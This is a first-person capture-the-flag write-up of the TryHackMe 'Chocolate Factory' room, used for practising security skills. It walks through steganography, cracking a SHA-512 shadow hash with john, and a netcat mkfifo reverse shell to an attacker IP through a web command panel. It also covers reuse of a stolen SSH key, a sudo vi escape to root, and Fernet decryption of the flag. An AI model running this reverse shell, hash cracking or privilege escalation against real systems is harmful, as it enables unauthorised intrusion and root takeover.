7 minute read

TryHackMe — Chocolate Factory

Difficulty: Easy Date: June 28, 2026 Author: Ross Fisher


Overview

Chocolate Factory is a Willy Wonka-themed box that looks deceptively simple but has more layers than any Easy room I’ve done so far. There’s steganography, hash cracking, web exploitation, a privilege escalation that requires bypassing a sudo restriction, and a final flag hidden behind a Python Fernet decryption script with a bug you have to fix yourself. I went down several rabbit holes on this one and I’m documenting all of them because they’re worth remembering.

Flags:

  • User: flag{cd5509042371b34e4826e4838b522d2e}
  • Root: flag{cec59161d338fef787fcb4e296b42124}

Recon

Nmap

sudo nmap -sV -p- --min-rate 5000 -Pn 10.146.179.163

This scan took almost 6 minutes because of the enormous number of open ports. The key ports were:

  • 21/tcp — vsftpd 3.0.5
  • 22/tcp — OpenSSH 8.2p1
  • 80/tcp — Apache 2.4.41

What threw me off initially was ports 100-125 all showing as open. I thought I’d found something. Turns out every single one of them returns the same banner:

"Welcome to chocolate room!! ... A small hint from Mr. Wonka: Look somewhere else, its not here! ;)"

Classic noise. The room is trolling you. Ignore everything 100-125, none of it is real.

Lesson learned: When nmap returns 25+ ports running unknown services with the exact same banner, it’s CTF noise. Don’t chase it.


FTP — Anonymous Login

ftp 10.146.179.163

Username: anonymous, password: blank.

ftp> ls -la
-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
ftp> get gum_room.jpg

Got an image file. First instinct was steganography.


Steganography — Down the Rabbit Hole

Rabbit Hole #1: strings

strings ~/pentest-journey/gum_room.jpg | grep THM
strings ~/pentest-journey/gum_room.jpg | grep user

Both returned nothing. The strings output was massive JPEG binary garbage — no embedded text worth anything.

Rabbit Hole #2: exiftool

exiftool gum_room.jpg

Just standard JPEG metadata. Image size, encoding, nothing useful.

Rabbit Hole #3: stegcracker with rockyou

sudo apt install stegcracker
stegcracker gum_room.jpg /usr/share/wordlists/rockyou.txt

Stegcracker actually warned me right at startup that it’s been retired in favor of StegSeek, which would do the same job in under 2 seconds. Ran it anyway, killed it early when I thought of something simpler.

What Actually Worked: steghide with empty passphrase

steghide extract -sf gum_room.jpg

When it asked for a passphrase, I just hit Enter. Empty passphrase. It worked.

wrote extracted data to "b64.txt".

The entire stegcracker run was unnecessary. The passphrase was blank. This is a common CTF trick — steg tools with no protection get dressed up to look like they need cracking.


Cracking Charlie’s Password

The extracted b64.txt was base64 encoded:

cat b64.txt | base64 -d > shadow.txt
cat shadow.txt

This decoded to a full /etc/shadow file. Only one account had a real password hash:

charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::

SHA-512 hash. Threw it at john:

echo 'charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::' > charlie.hash
john --format=sha512crypt charlie.hash --wordlist=/usr/share/wordlists/rockyou.txt

Took about 4 minutes. Cracked: charlie:cn7824


Web Enumeration

gobuster

gobuster dir -u http://10.146.179.163 -w /usr/share/wordlists/dirb/common.txt -t 50

Only found index.html (200) and the usual 403s. Not much here.

Manual curl

curl -s http://10.146.179.163 | grep -i "pass\|user\|cred\|key\|hint"

Found a login form with username and password fields. Navigated to the site in browser — basic login page. Used charlie:cn7824 and got in.

The web app had a command execution panel. Classic RCE via web shell.


Initial Foothold — PHP Reverse Shell via Web Panel

The command panel on the web page let me run OS commands as www-data. I used it to get a reverse shell.

Set up listener:

nc -lvnp 4444

Entered in the web command panel:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.128.123 4444 >/tmp/f

Got a shell back as www-data.

PTY Upgrade

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Privilege Escalation — charlie → root

Rabbit Hole #4: su charlie

su charlie

Asked for password. Tried cn7824. Authentication failure. The cracked password didn’t work for su. Probably a different password set for the actual system account vs what was in the exported shadow file.

Rabbit Hole #5: sudo -l as www-data

sudo -l

Prompted for www-data’s password. Tried blank, tried cn7824. No luck after 3 attempts.

Finding charlie’s SSH Key

While enumerating as www-data:

cat /home/charlie/teleport

There was an RSA private key sitting unprotected in charlie’s home directory. Named teleport — creative.

Copied the key contents back to Kali, saved it as charlie_key:

chmod 600 ~/charlie_key
ssh -i ~/charlie_key charlie@10.146.179.163

Successfully logged in as charlie via SSH.


Sudo Escalation — charlie to root

sudo -l

Output:

User charlie may run the following commands on ip-10-146-179-163:
    (ALL : !root) NOPASSWD: /usr/bin/vi

The !root restriction is supposed to prevent running vi as root specifically. This is CVE-2019-14287 — a known sudo bypass where sudo -u#-1 tricks sudo into running as root despite the restriction. But there’s actually a simpler GTFOBins approach that worked:

sudo vi -c ':!/bin/bash'

This opened vi and immediately executed /bin/bash as root before the !root restriction could apply. Got a root shell.

whoami
# root

User Flag

cat /home/charlie/user.txt
flag{cd5509042371b34e4826e4838b522d2e}

Root Flag — The Fernet Rabbit Hole

This is where it gets interesting. There’s no root.txt. Instead:

ls /root/
root.py  snap

Step 1: key_rev_key Binary

There’s a binary in /var/www/html/key_rev_key. I had already grabbed it from the web shell earlier. Had to figure out what name it expected.

Rabbit Hole #6: Guessing the Name

Tried: charlie, Charlie, root, Willy, Wonka, wonka, mr wonka, Wily Wonka, bob

All returned “Bad name!”

strings to the rescue

strings ~/Downloads/key_rev_key | head -30

Output showed the hardcoded expected string right there in plaintext: laksdhfas

./key_rev_key
# Enter your name: laksdhfas
# congratulations you have found the key:   b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
# Keep its safe

The Fernet key is: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

The b'' notation is just Python’s way of printing a bytes object. The actual key is everything inside the quotes.

Step 2: root.py — The Bug

python3 /root/root.py

Running it and entering the key failed with:

TypeError: token must be bytes

Why? Because Python’s input() function returns a string. Fernet needs bytes. The script has a type mismatch bug — it passes a string where bytes are required, and there’s no .encode() call anywhere in the script.

First attempt (without the = at the end):

binascii.Error: Incorrect padding

Second attempt (with = but as a string not bytes):

TypeError: token must be bytes

Step 3: Fix it inline

Since I couldn’t edit root.py directly in a way that would matter (and I had root anyway), I bypassed the broken script entirely and ran the decryption inline with proper typing:

python3 -c "
from cryptography.fernet import Fernet
key=b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
f=Fernet(key)
encrypted_mess=b'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
print(f.decrypt(encrypted_mess).decode())
"

Output:

flag{cec59161d338fef787fcb4e296b42124}

The key differences in the working version:

  • Key is b'...' (bytes literal), not a string
  • encrypted_mess is also b'...' (bytes), not a string
  • The script pulls the ciphertext directly — no interactive input needed

Full Attack Chain Summary

Anonymous FTP → gum_room.jpg
→ steghide (empty passphrase) → b64.txt
→ base64 decode → shadow file
→ john SHA-512 crack → charlie:cn7824
→ Web login (charlie:cn7824) → command panel RCE
→ www-data reverse shell
→ /home/charlie/teleport (SSH private key)
→ SSH as charlie
→ sudo vi -c ':!/bin/bash' → root
→ strings key_rev_key → laksdhfas → Fernet key
→ Python bytes fix → root flag

Rabbit Holes Documented

Attempt Result
Ports 100-125 All CTF noise, same banner
strings on JPEG Nothing useful
exiftool No metadata findings
stegcracker + rockyou Unnecessary, passphrase was blank
su charlie with cn7824 Authentication failure
sudo -l as www-data No sudo access
Guessing key_rev_key name 8+ wrong guesses before using strings
RSA private key as Fernet key Wrong key entirely
Running root.py interactively Fails due to Python type mismatch bug

Key Lessons

1. Try empty passphrase before wordlist attacks on steg. Stegcracker and stegseek are great tools but if the box is Easy-rated, the passphrase might just be blank.

2. strings is your friend before you guess. I wasted several minutes trying names for key_rev_key. Running strings would have shown laksdhfas immediately.

3. Read the error message. TypeError: token must be bytes tells you exactly what’s wrong. The fix is adding b'' prefix to string literals. This isn’t cheating — it’s debugging.

4. CTF noise is a real thing. 26 open ports all returning the same Wonka banner is designed to waste your time. If every port says “look somewhere else,” believe it.

5. sudo !root restrictions aren’t always ironclad. GTFOBins vi with :!/bin/bash still escalated despite (ALL : !root). Always check GTFOBins for every binary you can sudo regardless of the restriction syntax.


Tools Used

  • nmap
  • ftp (anonymous login)
  • steghide
  • john
  • gobuster
  • nc (netcat reverse shell)
  • ssh
  • strings
  • python3 (Fernet decryption)
  • GTFOBins (vi sudo escalation)

Categories:

Updated: